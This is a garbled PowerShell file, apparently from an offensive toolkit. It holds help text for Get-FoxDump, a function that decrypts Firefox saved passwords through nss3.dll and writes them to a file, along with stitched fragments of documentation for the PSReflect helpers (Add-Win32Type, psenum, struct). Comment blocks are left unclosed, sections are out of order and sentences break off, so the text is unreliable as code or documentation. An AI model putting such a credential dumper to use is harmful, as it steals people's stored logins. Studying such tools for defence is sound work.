{
    <#
    .SYNOPSIS
    This script will utilize the api functions within the nss3.dll to decrypt saved passwords. This will only be successfull if the masterpassword has not been set.

    .DESCRIPTION
    This script will utilize the api functions within the nss3.dll to decrypt saved passwords and output them to the pipeline. This will only be successfull if the master
    password has not been set. The results will include the username, password, and form submit url. This script should work with Firefox version 32 and above. Earlier
    versions utilized a different storage method for passwords.

    .PARAMETER OutFile
    Path to the file where the results should be written to.

    .EXAMPLE

    Get-FoxDump -OutFile "passwords.txt"

    This will retrieve any saved passwords in firefox and then write them out to a file name passwords.txt.

    .DESCRIPTION

    When defining custom enums, structs, and unmanaged functions, it is
    necessary to associate to an assembly module. This helper function
    creates an in-memory module that can be passed to the 'enum',
    'struct', and Add-Win32Type functions.

    .PARAMETER ModuleName

    Specifies the desired name for the in-memory assembly and module. If
    ModuleName is not provided, it will default to a GUID.

  function Add-Win32Type
  {
    <#
    .SYNOPSIS

    Creates a .NET type for an unmanaged Win32 function.

    Author: Matthew Graeber (@mattifestation)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: func

    .DESCRIPTION

    Add-Win32Type enables you to easily interact with unmanaged (i.e.
    Win32 unmanaged) functions in PowerShell. After providing
    Add-Win32Type with a function signature, a .NET type is created
    using reflection (i.e. csc.exe is never called like with Add-Type).

    The 'func' helper function can be used to reduce typing when defining
    multiple function definitions.

    .PARAMETER DllName

    The name of the DLL.

    .PARAMETER FunctionName

    The name of the target function.

    .PARAMETER ReturnType

    The return type of the function.

    .PARAMETER ParameterTypes

    The function parameters.

    .PARAMETER NativeCallingConvention

    Specifies the native calling convention of the function. Defaults to
    stdcall.

    .PARAMETER Charset

    If you need to explicitly call an 'A' or 'W' Win32 function, you can
    specify the character set.

    .PARAMETER SetLastError

    Indicates whether the callee calls the SetLastError Win32 API
    function before returning from the attributed method.

    .PARAMETER Module

    The in-memory module that will host the functions. Use
    New-InMemoryModule to define an in-memory module.

    .PARAMETER Namespace

    An optional namespace to prepend to the type. Add-Win32Type defaults
    to a namespace consisting only of the name of the DLL.

    .EXAMPLE

    $Mod = New-InMemoryModule -ModuleName Win32

    $FunctionDefinitions = @(
      (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
      (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
      (func ntdll RtlGetCurrentPeb ([IntPtr]) @())
    )

    $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
    $Kernel32 = $Types['kernel32']
    $Ntdll = $Types['ntdll']
    $Ntdll::RtlGetCurrentPeb()
    $ntdllbase = $Kernel32::GetModuleHandle('ntdll')
    $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')

    .NOTES

    Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189

    When defining multiple function prototypes, it is ideal to provide
    Add-Win32Type with an array of function signatures. That way, they
    are all incorporated into the same in-memory module.

    .DESCRIPTION

    The 'psenum' function facilitates the creation of enums entirely in

    Specifies that the enum should be treated as a bitfield.

        .SYNOPSIS

        Creates an in-memory struct for use in your PowerShell session.

        License: BSD 3-Clause
        Required Dependencies: None
        Optional Dependencies: field

        .DESCRIPTION

        The 'struct' function facilitates the creation of structs entirely in
        memory using as close to a "C style" as PowerShell will allow. Struct
        fields are specified using a hashtable where each field of the struct
        is comprosed of the order in which it should be defined, its .NET
        type, and optionally, its offset and special marshaling attributes.

        One of the features of 'struct' is that after your struct is defined,
        it will come with a built-in GetSize method as well as an explicit
        converter so that you can easily cast an IntPtr to the struct without
        relying upon calling SizeOf and/or PtrToStructure in the Marshal
        class.

        .PARAMETER Module

        The in-memory module that will host the struct. Use
        New-InMemoryModule to define an in-memory module.

        .PARAMETER FullName

        The fully-qualified name of the struct.

        .PARAMETER StructFields

        A hashtable of fields. Use the 'field' helper function to ease
        defining each field.

        .PARAMETER PackingSize

        Specifies the memory alignment of fields.

        .PARAMETER ExplicitLayout

        Indicates that an explicit offset for each field will be specified.

        .EXAMPLE

        $Mod = New-InMemoryModule -ModuleName Win32

        PowerShell purists may disagree with the naming of this function but
        again, this was developed in such a way so as to emulate a "C style"
        definition as closely as possible. Sorry, I'm not going to name it
        New-Struct. :P
